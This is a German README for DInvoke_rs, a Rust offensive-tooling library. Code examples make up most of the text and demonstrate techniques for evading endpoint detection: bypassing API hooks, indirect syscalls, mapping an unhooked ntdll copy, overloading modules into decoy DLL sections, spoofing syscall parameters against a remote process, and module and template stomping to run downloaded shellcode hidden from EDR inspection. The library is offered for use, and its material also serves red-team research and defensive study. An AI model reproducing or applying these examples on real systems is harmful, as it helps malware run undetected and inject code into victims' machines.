
Dynamisch beliebigen nicht verwalteten Code aufrufen
Rust-Port von Dinvoke. DInvoke_rs kann für viele Zwecke verwendet werden, beispielsweise für das Parsen von PE-Dateien, die dynamische Auflösung exportierter Funktionen, das dynamische Laden von PE-Plugins zur Laufzeit, die Umgehung von API-Hooks und mehr.
Features:
Alle Credits gebühren den Erstellern der ursprünglichen C#-Implementierung dieses Tools:
Importieren Sie diese Crate in Ihr Projekt, indem Sie die folgende Zeile zu Ihrer cargo.toml hinzufügen:```rust
[dependencies]
dinvoke_rs = "0.2.2"
# Beispiele
## Auflösen exportierter APIs
Das folgende Beispiel zeigt, wie Sie mit DInvoke_rs Exporte einer DLL dynamisch finden und aufrufen können (in diesem Fall `ntdll.dll`).
1) Ermitteln Sie die Basisadresse von ntdll.
2) Verwenden Sie `get_function_address()`, um einen Export innerhalb von `ntdll.dll` anhand des Namens zu finden. Dies wird erreicht, indem die EAT der DLL durchlaufen und geparst wird.
3) Sie können einen Export auch anhand der Ordinalzahl finden, indem Sie `get_function_address_by_ordinal()` aufrufen.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
println!("ntdll.dll base address is 0x{:X}", ntdll);
// Dynamically obtain the address of a function by name.
let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
if nt_create_thread != 0
{
println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
}
// Dynamically obtain the address of a function by ordinal.
let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
if ordinal_8 != 0
{
println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
}
}
}
Im folgenden Beispiel verwenden wir DInvoke_rs, um RtlAdjustPrivilege dynamisch aufzurufen und so SeDebugPrivilege für das Token des aktuellen Prozesses zu aktivieren. Diese Art der Ausführung umgeht alle in Win32 vorhandenen API-Hooks. Außerdem wird kein Eintrag in der Import Address Table der finalen PE erstellt, was es schwieriger macht, das Verhalten der PE ohne Ausführung zu erkennen.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
unsafe
{
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
}
## Ausführen eines indirekten Syscalls
Im nächsten Beispiel verwenden wir DInvoke_rs, um den Syscall auszuführen, der der Funktion `NtQueryInformationProcess` entspricht. Da das Makro `execute_syscall!()` den für die Ausführung des gewünschten Syscalls erforderlichen Shellcode dynamisch allokiert und ausführt, werden alle in `ntdll.dll` vorhandenen Hooks umgangen. Der allokierte Speicher wird freigegeben, sobald der Syscall zurückkehrt, wodurch die dauerhafte Präsenz von Speicherseiten mit Ausführungsberechtigung vermieden wird.```rust
use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};
fn main() {
unsafe
{
let function_type:NtQueryInformationProcess;
let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
let handle = GetCurrentProcess();
let p = PROCESS_BASIC_INFORMATION::default();
let process_information: PVOID = std::mem::transmute(&p);
let r = u32::default();
let return_length: *mut u32 = std::mem::transmute(&r);
dinvoke_rs::dinvoke::execute_syscall!(
"NtQueryInformationProcess",
function_type,
ret,
handle,
0,
process_information,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
return_length
);
let pbi: *mut PROCESS_BASIC_INFORMATION;
match ret {
Some(x) =>
if x == 0 {
pbi = std::mem::transmute(process_information);
let pbi = *pbi;
println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
},
None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
}
}
}
In diesem Beispiel wird DInvoke_rs verwendet, um eine frische Kopie von ntdll.dll manuell zu mappen, ohne jegliche EDR-Hooks. Diese frische ntdll.dll-Kopie kann dann verwendet werden, um jede gewünschte Funktion auszuführen.
Dieses manuelle Mapping kann auch aus dem Speicher heraus ausgeführt werden (verwenden Sie in diesem Fall manually_map_module()), was die klassische reflektive DLL-Injection ermöglicht.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
## Speicherabschnitt überladen
Im folgenden Beispiel wird DInvoke_rs verwendet, um eine dateigestützte Speicher-Section zu erstellen und diese anschließend durch manuelles Mapping einer PE zu überladen. Die Speicher-Section zeigt standardmäßig auf eine legitime Datei in `%WINDIR%\System32\`, es kann jedoch jedes andere Täuschungsmodul verwendet werden.
Dieses Überladen kann auch durchgeführt werden, indem eine PE aus dem Speicher gemappt wird (wie im folgenden Beispiel gezeigt), sodass das Überladen ohne Schreiben der Payload auf die Festplatte erfolgen kann.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let payload: Vec<u8> = your_download_function();
// This will map your payload into a legitimate file-backed memory section.
let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
// Then any exported function of the mapped PE can be dynamically called.
// Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
let func_ptr: unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
let ret: Option<i32>; // The value that the called function will return
let parameter1: i32 = 10;
let parameter2: i32 = 20;
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);
match ret {
Some(x) =>
println!("The function returned the value {}", x),
None => panic!("[x] Error!"),
}
}
}
DInvoke_rs ermöglicht es, gemappte PEs zu verbergen, wenn sie nicht verwendet werden, was es der EDR-Speicherinspektion erschwert, das Vorhandensein einer verdächtigen DLL in deinem Prozess zu erkennen.
Nehmen wir zum Beispiel an, wir möchten eine frische Kopie von ntdll.dll mappen, um EDR-Hooks zu umgehen. Da zwei ntdll.dll im selben Prozess als verdächtiges Verhalten angesehen werden könnten, können wir ntdll mappen und es verbergen, wann immer wir es nicht verwenden. Dies ist der Shellcode-Fluktuationstechnik sehr ähnlich, allerdings können wir in diesem Szenario den Vorteil nutzen, dass wir ein PE in einen legitimen dateigestützten Speicherabschnitt mappen, sodass wir den Inhalt von ntdll durch den Inhalt des ursprünglichen Decoy-Moduls ersetzen können, auf das der Abschnitt verweist.```rust
use dinvoke_rs::dmanager::Manager;
fn main() {
unsafe
{
// The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios
let mut manager = Manager::new();
// This will map ntdll.dll into a memory section pointing to cdp.dll.
// It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
// This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
// Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);
// Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
let _ = manager.map_module(overload.1);
// After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
// Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
let _ = manager.hide_module(overload.1);
}
}
## Spoofing von Syscall-Parametern
Um die ersten 4 Parameter eines Syscalls zu spoofen, unterstützt DInvoke_rs Hardware-Breakpoints in Kombination mit Exception-Handlern. Dies ermöglicht es, harmlose Parameter an eine NT-Funktion zu senden, und nachdem die EDR sie geprüft hat, werden sie durch die ursprünglichen Parameter ersetzt, bevor die Syscall-Anweisung ausgeführt wird. Weitere Informationen finden Sie im Repository, aus dem die ursprüngliche Idee stammt: [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls).
Derzeit ist diese Funktion für die Funktionen `NtOpenProcess`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory` und `NtCreateThreadEx` implementiert. Um sie zu nutzen, müssen Sie lediglich die Funktion aktivieren, den Exception-Handler festlegen und die gewünschte Funktion über Dinvoke aufrufen.```rust
use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};
fn main() {
unsafe
{
// We active the use of hardware breakpoints to spoof syscall parameters
dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
// We get the memory address of our function and set it as a VEH
let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);
let h = HANDLE {0: -1 as _};
let handle: *mut HANDLE = std::mem::transmute(&h);
let access = THREAD_ALL_ACCESS;
let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
// We set the PID of the remote process
let remote_pid = 472isize;
let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
let client_id: *mut ClientId = std::mem::transmute(&c);
// A call to NtOpenProcess is performed through Dinvoke. The parameters will be
// automatically spoofed by the function and restored to the original values
// before executing the syscall.
let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);
println!("NTSTATUS: {:x}", ret);
dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
}
}
Dinvoke_rs's Overload-Crate ermöglicht nun Modul-Stomping durch den Aufruf der Funktion managed_module_stomping(). Der erste Parameter dieser Funktion ist der Inhalt des Shellcodes. Die beiden anderen Parameter verändern das Verhalten der Funktion und ermöglichen drei verschiedene, unten kommentierte Ausführungspfade.
Die beste Möglichkeit, diese Funktion zu nutzen, ist meiner Meinung nach, eine legitime DLL in den Prozess zu laden und Dinvoke zu erlauben, eine gute Stelle in dieser DLL zu bestimmen, um den Shellcode darauf zu stompen. Dies geschieht, indem die Basisadresse der DLL als dritter Parameter von managed_module_stomping() übergeben wird. Das zweite Argument muss null sein. Auf diese Weise iteriert Dinvoke über die Exception-Daten der DLL und sucht nach einer legitimen Funktion, die groß genug ist, um den Shellcode darauf zu stompen.```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
Sie können auch den genauen Speicherort angeben, an dem der Shellcode gestompt werden soll, indem Sie die Speicheradresse als zweiten Parameter übergeben:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
Schließlich können Sie Dinvoke erlauben, automatisch die Adresse zu bestimmen, an der der Shellcode überschrieben wird. Dies geschieht durch Iteration über die Exception-Daten aller geladenen Module, bis eine geeignete Funktion gefunden wird. Diese Option kann zu unerwartetem Verhalten führen, daher empfehle ich sie nicht wirklich, es sei denn, Sie haben keine andere Option.```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
Sobald der Shellcode gestompt wurde, können Sie die `dmanager`-Crate verwenden, um Ihren Shellcode zu verstecken/erneut zu stompen, was Shellcode-Fluktuation ermöglicht:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
...
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
Template stomping ist eine Ableitung der Modul-Stomping-Technik, die speziell für DLLs entwickelt wurde. Derzeit ermöglicht diese Technik nur das Laden einer DLL in den aktuellen Prozess; Remote-Prozesse werden nicht unterstützt.
Das Hauptziel besteht darin, eine Vorlage aus einer DLL zu erstellen, indem der Inhalt des .text-Abschnitts durch beliebige Daten ersetzt wird. Dadurch kann die Vorlage ohne Warnmeldungen auf die Festplatte geschrieben werden. Diese Vorlage ist so gestaltet, dass sie durch Aufruf von LoadLibrary in den Prozess geladen werden kann. Anschließend kann der ursprüngliche Inhalt des .text-Abschnitts direkt in den Speicher des Prozesses heruntergeladen und auf den entsprechenden Speicherbereich der Vorlage gestompt werden. Diese Technik kann effektiv mit zwei Hauptfunktionen ausgeführt werden: generate_template und template_stomping.
Die Funktion generate_template dient dazu, die Vorlage aus der ursprünglichen DLL zu erstellen, indem der Inhalt des .text-Abschnitts extrahiert und durch beliebige Daten ersetzt wird. Dadurch bleibt die Struktur der Vorlage erhalten, sie enthält jedoch keinen bedeutungsvollen ausführbaren Code – abgesehen von den Einstiegspunkten und TLS-Callbacks, die durch Dummy-, aber funktionsfähige Assembly-Anweisungen ersetzt werden. Der ursprüngliche Inhalt des .text-Abschnitts wird separat in payload.bin gespeichert, und die endgültige Vorlagendatei wird in template.dll gespeichert.```rust
fn main ()
{
let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory");
match template
{
Ok(()) => { println!("Template successfully generated.");}
Err(x) => { println!("Error ocurred: {x}");}
}
}
Dann kann die Vorlage auf dem **Zielsystem** auf der Festplatte gespeichert und im aktuellen Prozess durch einen Aufruf von `LoadLibrary` geladen werden. Sobald die Vorlage vom Betriebssystem geladen wurde, besteht der nächste Schritt darin, den ursprünglichen ausführbaren Inhalt aus `payload.bin` in den `.text`-Abschnitt der Vorlage zu überschreiben. Dieser Vorgang wird von der Funktion `template_stomping` durchgeführt, die den ursprünglichen ausführbaren Inhalt in den richtigen Speicherbereich überschreibt und sich um alle Details kümmert, die bei diesem Prozess eine Rolle spielen.```rust
fn main ()
{
unsafe
{
let mut payload = http_download_payload(); // Download payload.bin content directly to memory
let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);
let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
let function: extern "system" fn() = std::mem::transmute(function_ptr);
function();
}
}
Dieses Verfahren ermöglicht es, eine DLL in festplattengestützte Speicherbereiche zu laden, ohne den tatsächlichen ausführbaren Inhalt auf das Dateisystem zu schreiben (wodurch die Notwendigkeit privater Speicherbereiche entfällt und die statische/dynamische Analyse von EDR umgangen wird). Außerdem bleibt während der Ausführung des DLL-Codes ein sauberer Aufrufstapel erhalten – anders als beim reflektiven Laden einer DLL.